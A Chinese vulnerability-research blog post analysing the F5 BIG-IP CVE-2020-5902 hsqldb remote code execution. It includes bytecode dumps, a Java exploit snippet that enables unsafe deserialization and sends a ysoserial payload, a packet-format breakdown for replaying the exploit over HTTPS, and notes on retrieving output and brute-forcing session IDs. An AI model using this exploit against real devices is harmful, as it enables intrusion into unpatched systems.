前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >F5 BIG-IP hsqldb(CVE-2020-5902) 漏洞踩坑分析

F5 BIG-IP hsqldb(CVE-2020-5902) 漏洞踩坑分析

作者头像
Seebug漏洞平台
发布2020-07-16 10:08:59
8540
发布2020-07-16 10:08:59
举报
文章被收录于专栏:Seebug漏洞平台Seebug漏洞平台

作者:Longofo@知道创宇404实验室 时间:2020年7月10日

F5 BIG-IP最近发生了一次比较严重的RCE漏洞,其中主要公开出来的入口就是tmsh与hsqldb方式,tmsh的利用与分析分析比较多了,如果复现过tmsh的利用,就应该知道这个地方利用有些鸡肋,后面不对tmsh进行分析,主要看下hsqldb的利用。hsqldb的利用poc[1]已经公开,但是java hsqldb的https导致一直无法复现,尝试了各种方式也没办法了,只好换其他思路,下面记录下复现与踩坑的过程。

利用源码搭建一个hsqldb http servlet

如果调试过hsqldb,就应该知道hsqldb.jar的代码是无法下断点调试的,这是因为hsqldb中类的linenumber table信息没有了,linenumber table只是用于调式用的,对于代码的正常运行没有任何影响。看下正常编译的类与hqldb类的lineumber table区别:

使用javap -verbose hsqlServlet.class命令看下hsqldb中hsqlServlet.class类的详细信息:

代码语言:javascript
复制
Classfile /C:/Users/dell/Desktop/hsqlServlet.class
  Last modified 2018-11-14; size 128 bytes
  MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c
public class hsqlServlet extends org.hsqldb.Servlet
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #3.#7          // org/hsqldb/Servlet."<init>":()V
   #2 = Class              #8             // hsqlServlet
   #3 = Class              #9             // org/hsqldb/Servlet
   #4 = Utf8               <init>
   #5 = Utf8               ()V
   #6 = Utf8               Code
   #7 = NameAndType        #4:#5          // "<init>":()V
   #8 = Utf8               hsqlServlet
   #9 = Utf8               org/hsqldb/Servlet
{
  public hsqlServlet();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method org/hsqldb/Servlet."<init>":()V
         4: return
}

使用javap -verbose Test.class看下自己编译的类信息:

代码语言:javascript
复制
Classfile /C:/Users/dell/Desktop/Test.class
  Last modified 2020-7-13; size 586 bytes
  MD5 checksum eea80d1f399295a29f02f30a3764ff25
  Compiled from "Test.java"
public class Test
  minor version: 0
  major version: 51
  flags: ACC_PUBLIC, ACC_SUPER
Constant pool:
   #1 = Methodref          #7.#22         // java/lang/Object."<init>":()V
   #2 = Fieldref           #23.#24        // java/lang/System.out:Ljava/io/PrintStream;
   #3 = String             #25            // aaa
   #4 = Methodref          #26.#27        // java/io/PrintStream.println:(Ljava/lang/String;)V
   #5 = String             #19            // test
   #6 = Class              #28            // Test
   #7 = Class              #29            // java/lang/Object
   #8 = Utf8               <init>
   #9 = Utf8               ()V
  #10 = Utf8               Code
  #11 = Utf8               LineNumberTable
  #12 = Utf8               LocalVariableTable
  #13 = Utf8               this
  #14 = Utf8               LTest;
  #15 = Utf8               main
  #16 = Utf8               ([Ljava/lang/String;)V
  #17 = Utf8               args
  #18 = Utf8               [Ljava/lang/String;
  #19 = Utf8               test
  #20 = Utf8               SourceFile
  #21 = Utf8               Test.java
  #22 = NameAndType        #8:#9          // "<init>":()V
  #23 = Class              #30            // java/lang/System
  #24 = NameAndType        #31:#32        // out:Ljava/io/PrintStream;
  #25 = Utf8               aaa
  #26 = Class              #33            // java/io/PrintStream
  #27 = NameAndType        #34:#35        // println:(Ljava/lang/String;)V
  #28 = Utf8               Test
  #29 = Utf8               java/lang/Object
  #30 = Utf8               java/lang/System
  #31 = Utf8               out
  #32 = Utf8               Ljava/io/PrintStream;
  #33 = Utf8               java/io/PrintStream
  #34 = Utf8               println
  #35 = Utf8               (Ljava/lang/String;)V
{
  public Test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=1, locals=1, args_size=1
         0: aload_0
         1: invokespecial #1                  // Method java/lang/Object."<init>":()V
         4: return
      LineNumberTable:
        line 1: 0
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       5     0  this   LTest;

  public static void main(java.lang.String[]);
    descriptor: ([Ljava/lang/String;)V
    flags: ACC_PUBLIC, ACC_STATIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           #3                  // String aaa
         5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 3: 0
        line 4: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  args   [Ljava/lang/String;

  public void test();
    descriptor: ()V
    flags: ACC_PUBLIC
    Code:
      stack=2, locals=1, args_size=1
         0: getstatic     #2                  // Field java/lang/System.out:Ljava/io/PrintStream;
         3: ldc           #5                  // String test
         5: invokevirtual #4                  // Method java/io/PrintStream.println:(Ljava/lang/String;)V
         8: return
      LineNumberTable:
        line 7: 0
        line 8: 8
      LocalVariableTable:
        Start  Length  Slot  Name   Signature
            0       9     0  this   LTest;
}
SourceFile: "Test.java"

可以看到自己编译的类中,每个method中都有一个 LineNumberTable,这个信息就是用于调试的信息,但是hsqldb中没有这个信息,所以是无法调试下断点的,hsqldb应该在编译时添加了某些参数或者使用了其他手段来去除这些信息。

没办法调试是一件很难受的事情,我现在想到的有两种:

1. 反编译hsqldb的代码,自己再重新编译,这样就有linenumber信息了,但是反编译再重新编译可能会遇到一些错误问题,这部分得自己手动把代码修改正确,这样确实是可行的,在后面f5的hsqldb分析中可以看到这种方式

2. 代码开源,直接用源码跑

hsqldb的代码正好是开源的,那么这里就直接用源码来开启一个servlet吧。

环境:

• hsqldb source代码是1.8的,现在新版已经2.5.x了,为了和f5中的hsqldb吻合,还是用1.8的代码吧

• JDK7u21,F5 BIG-IP 14版本使用的JDK7,所以这里尽量和它吻合避免各种问题

虽然开源了,但是拖到idea依然还有些问题,我修改了一些代码,让他正常跑起来了,修改好的代码放到github[2]上了,最后项目结构如下:

使用http方式利用hsqldb漏洞(ysoserial cc6,很多其他链也行):

代码语言:javascript
复制
public static void testLocal() throws IOException, ClassNotFoundException, SQLException {
        String url = "http://localhost:8080";
        String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));

        System.out.println(payload);

        String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
        Class.forName("org.hsqldb.jdbcDriver");

        Connection connection = DriverManager.getConnection(dburl, "sa", "");
        Statement statement = connection.createStatement();
        statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
        statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
    }

利用requests发包模拟hsqldb RCE

java hsqldb https问题无法解决,那就用requests来发https包就可以了,先模拟http的包。

抓取上面利用java代码发送的payload包,一共发送了三个,第一个是连接包,连接hsqldb数据库的,第二、三包是执行语句的包:

根据代码看下第一个数据包返回的具体信息,主要读取与写入的信息都是由Result这个类处理的,一共20个字节:

•1~4:总长度00000014,共20字节

•5~8:mode,connection为ResultConstants.UPDATECOUNT,为1,00000001

•9~12:databaseID,如果直接像上面这样默认配置,databaseID在服务端不会赋值,由jdk初始化为0,00000000

•13~16:sessionID,这个值是DatabaseManager.newSession分配的值,每次连接都是一个新的值,本次为00000003

•17~20:connection时,为updateCount,注释上面写的 max rows (out) or update count (in),如果像上面这样默认配置,updateCount在服务端不会赋值,由jdk初始化为0,00000000

连接信息分析完了,接下来的包肯定会利用到第一次返回包的信息,把他附加到后面发送包中,这里只分析下第二个发送包,第三个包和第二个是一样的,都是执行语句的包:

•1~4:总长度00000082,这里为130

•5~8:mode,这里为ResultConstants.SQLEXECDIRECT,0001000b

•9~12:databaseID,为上面的00000000

•13~16:sessionID,为上面的00000003

•17~20:updateCount,为上面的00000000

•21~25:statementID,这是客户端发送的,其实无关紧要,本次为00000000

•26~30:执行语句的长度

•31~:后面都是执行语句了

可以看到上面这个处理过程很简单,通过这个分析,很容易用requests发包了。对于https来说,只要设置verify=False就行了。

反序列化触发位置

这里反序列化触发位置在:

其实并不是org.hsqldb.util.ScriptTool.main这个地方导致的,而是hsqldb解析器语法解析中途导致的反序列化。将ScriptTool随便换一个都可以,例如org.hsqldb.sample.FindFile.main

F5 BIG-IP hsqlsdb 调试

如果还想调试下F5 BIG-IP hsqldb,也是可以的,F5 BIG-IP里面的hsqldb自己加了些代码,反编译他的代码,然后修改反编译出来的代码错误,再重新打包放进去,就可以调试了。

F5 BIG-IP hsqldb回显

•既然能反序列化了,那就可以结合Template相关的利用链写到response

•利用命令执行找socket的fd文件,写到socket

•这次本来就有一个fileRead.jsp,命令执行完写到这里就可以了

hsqldb的连接安全隐患

从数据包可以看到,hsqldb第一次返回信息并不多,在后面附加用到的信息也就databaseID,sessionID,updateCount,且都只为4字节(32位),但是总有数字很小的连接排在前面,所以可以通过爆破出可用的databaseID、sessionID、updateCount。不过对于本次的F5 BIG-IP,直接用上面默认的就行了,无需爆破。

总 结

虽然写得不多,写完了看起来还挺容易,不过过程其实还是很艰辛的,一开始并不是根据代码看包的,只是发了几个包对比然后就写了个脚本,结果跑不了F5 BIG-IP hsqldb,后面还是调试了F5 hsqldb代码,很多问题需要解决。同时还看到了hsqldb其实是存在一定安全隐患的,如果我们直接爆破databaseID,sessionID,updateCount,也很容易爆破出可用的databaseID,sessionID,updateCount。

References

[1] poc: https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902 [2] github: https://github.com/longofo/hsqldb-source

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Seebug漏洞平台 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • References
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档